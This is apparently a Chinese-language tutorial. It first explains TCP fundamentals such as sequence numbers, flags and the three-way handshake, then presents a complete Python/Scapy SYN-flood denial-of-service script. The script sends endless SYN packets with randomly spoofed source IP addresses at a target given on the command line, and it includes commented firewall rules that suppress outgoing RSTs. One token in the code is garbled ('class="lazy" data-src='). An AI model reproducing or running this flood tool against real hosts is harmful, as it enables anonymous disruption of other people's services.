Python Scapy TCP

TCP提供一种面向连接的、可靠的字节流服务。

面向连接意味着两个使用TCP的应用（通常是一个客户和一个服务器）在彼此交换数据之前必须先建立一个TCP连接。

在一个TCP连接中，仅有两方进行彼此通信。广播和多播不能用于TCP。

TCP通过下列方式来提供可靠性：

应用数据被分割成TCP认为最合适发送的数据块。

当TCP发出一个段后，它启动一个定时器，等待目的端确认收到这个报文段。如果不能及时收到一个确认，将重发这个报文段。

当TCP收到发自TCP连接另一端的数据，它将发送一个确认。这个确认不是立即发送，通常将推迟几分之一秒。

TCP将保持它首部和数据的检验和。

既然TCP报文段作为IP数据报来传输，而IP数据报的到达可能会失序，因此TCP报文段的到达也可能会失序，如果必要，TCP将对收到的数据进行重新排序，将收到的数据以正确的顺序交给应用层。

既然IP数据报会发生重复，TCP的接收端必须丢弃重复的数据。

TCP还能提供流量控制。TCP连接的每一方都有固定大小的缓冲空间。

TCP的接收端只允许另一端发送接收缓冲区所能接纳的数据。这将防止较快主机致使慢主机的缓冲区溢出。

TCP字节流

两个应用程序通过TCP连接交换8bit字节构成的字节流。TCP不在字节流中插入记录标识符。我们将这称为字节流服务（byte stream service）。如果一方的应用程序先传10字节，又传20字节，再传50字节，连接的另一方将无法了解发方每次发送了多少字节。收方可以分4次接收这80个字节，每次接收20字节。一端将字节流放到TCP连接上，同样的字节流将出现在TCP连接的另一端。

另外，TCP对字节流的内容不作任何解释。TCP不知道传输的数据字节流是二进制数据，还是ASCII字符、EBCDIC字符或者其他类型数据。对字节流的解释由TCP连接双方的应用层解释。

每个TCP段都包含源端和目的端的端口号，用于寻找发端和收端应用进程。这两个值加上IP首部中的源端IP地址和目的端IP地址唯一确定一个TCP连接。

一个IP地址和一个端口号也称为一个插口（socket）插口对（socketpair）（包含客户IP地址、客户端口号、服务器IP地址和服务器端口号的四元组）可唯一确定互联网络中每个TCP连接的双方。

序号用来标识从TCP发端向TCP收端发送的数据字节流，它表示在这个报文段中的序号对每个字节进行计数。序号是32bit的无序号数，序号到达2的32次方后又从0开始。SYN标志消耗一个序号。FIN标志也要占用一个序号。

确认序号应当是上次已成功收到数据字节序号加1。只有ACK标志为1时确认序号字段才有效。

发送ACK无需任何代价，因为32bit的确认序号字段和ACK标志一样，总是TCP首部的一部分。因此，我们看到一旦一个连接建立起来，这个字段总是被设置，ACK标志也总是被设置为1。

TCP为应用层提供全双工服务。这意味数据能在两个方向上独立地进行传输。因此，连接的每一端必须保持每个方向上的传输数据序号。

TCP可以表述为一个没有选择确认或否认的滑动窗口协议（滑动窗口协议用于数据传输）。我们说TCP缺少选择确认是因为TCP首部中的确认序号表示发方已成功收到字节，但还不包括确认序号所指的字节。当前还无法对数据流中选定的部分进行确认。例如，如果1-1024字节已经成功收到，下一报文段中包含序号从2049-3072的字节，收端并不能确认这个新的报文段。它所能做的就是发回一个确认序号为1025的ACK。它也无法对一个报文段进行否认。例如，如果收到包含1025-2048字节的报文段，但它的检验和错，TCP接收端所能做的就是发回一个确认序号为1025的ACK。

首部长度给出首部中32bit字段的数目。需要这个值是因为任选字段的长度是可变的。这个字段占4bit，因此TCP最多有60字节的首部。然而，没有任选字段，正常的长度是20字节。

在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

• URG  紧急指针有效

• ACK  确认序号有效

• PSH  接收方应该尽快将这个报文段交给应用层

• RST  重建连接

• SYN  同步序号用来发起一个连接

• FIN  发端完成发送任务

TCP是一个面向连接的协议。无论哪一方向另一方发送数据之前，都必须先在双方之间建立一条连接。

这种两端间连接的建立与无连接协议如UDP不同。UDP向另一端发送数据报时，无需任何预先的握手。

TCP用三次握手过程创建一个连接。在连接创建过程中，很多参数要被初始化，例如序号被初始化以保证按序传输和连接的强壮性。

一对终端同时初始化一个它们之间的连接是可能的。但通常是由一端打开一个套接字（socket）然后监听来自另一方的连接，这就是通常所指的被动打开。

服务器端被被动打开以后，用户端就能开始创建主动打开。

1. 客户端通过向服务器端发送一个SYN来创建一个主动打开，作为三次握手的一部分。客户端把这段连接的序号设定为随机数A。

2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1，SYN/ACK包本身又有一个随机序号B。

3. 最后，客户端再发送一个ACK。当服务端收到这个ACK的时候，就完成了三次握手，并进入了连接创建状态。此时包序号被设定为收到的确认号A+1，而响应则为B+1。

▼Socket TCP Server脚本样例：

Scapy可以实现的功能：

1、TCP端口扫描

2、防火墙开放端口扫描

3、模拟TCP建立与终止

4、制造TCP DOS***

使用随机地址随机端口发起TCP连接

#!/usr/bin/python3.4
# -*- coding=utf-8 -*-

#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP
#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)#清除报错
from scapy.all import *

def syn_dos(ip, port, random_enable=True):#定义方法，传入目标IP地址，目标端口号，是否激活随机伪装源IP地址
	if random_enable == True:#如果激活随机伪装源IP地址
		while True:#一直执行直到ctl+c停止程序
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			yi_section = random.randint(1, 254)#随机产生，第一段IP地址
			er_section = random.randint(1, 254)#随机产生，第二段IP地址
			san_section = random.randint(1, 254)#随机产生，第三段IP地址
			si_section = random.randint(1, 254)#随机产生，第四段IP地址
			source_ip = str(yi_section)+'.'+str(er_section)+'.'+str(san_section)+'.'+str(si_section)#组合四段地址
			#发送SYN同步包（不必等待回应）#随机伪装源IP，随机产生源端口和初始化序列号
			send(IP(class="lazy" data-src=source_ip,dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)
	else:#如果不激活随机伪装源IP地址
		while True:
			source_port = random.randint(1024, 65535)#随机产生源端口
			init_sn = random.randint(1, 65535*63335)#随机产生初始化序列号
			#发送SYN同步包（不必等待回应）#随机产生源端口和初始化序列号
			send(IP(dst=ip)/TCP(dport=port,sport=source_port,flags=2,seq=init_sn), verbose = False)

if __name__ == '__main__':
	import optparse#导入选项分析模块
	#配置帮助
	parser = optparse.OptionParser("程序使用方法介绍: -d <目标地址> -p <目标端口> -r <1:激活（默认） 2:不激活>")
	#选项‘-d’，指定目的IP地址
	parser.add_option('-d', dest = 'dst_ip', type = 'string', help = '指定目标地址')
	#选项‘-p’，指定目的端口号
	parser.add_option('-p', dest = 'dst_port', type = 'int', help = '指定目标端口')
	#选项‘-r’，是否激活随机伪装源IP地址
	parser.add_option('-r', dest = 'random', type = 'int', help = '是否激活随机IP')
	#分析参数，得到Options
	(options, args) = parser.parse_args()
	#如果没有指定目的IP，或者没有指定目的端口号，显示帮助信息给客户看！
	if (options.dst_ip == None) or (options.dst_port == None):
		print(parser.usage)
		exit(0)
	else:#如果客户指定了目的地址和目的端口号，为变量赋值！
		destination_ip = options.dst_ip
		destination_port = options.dst_port
	if options.random == 2:#如果客户不激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = False)
	else:#客户激活随机伪装源IP地址
		syn_dos(destination_ip, destination_port, random_enable = True)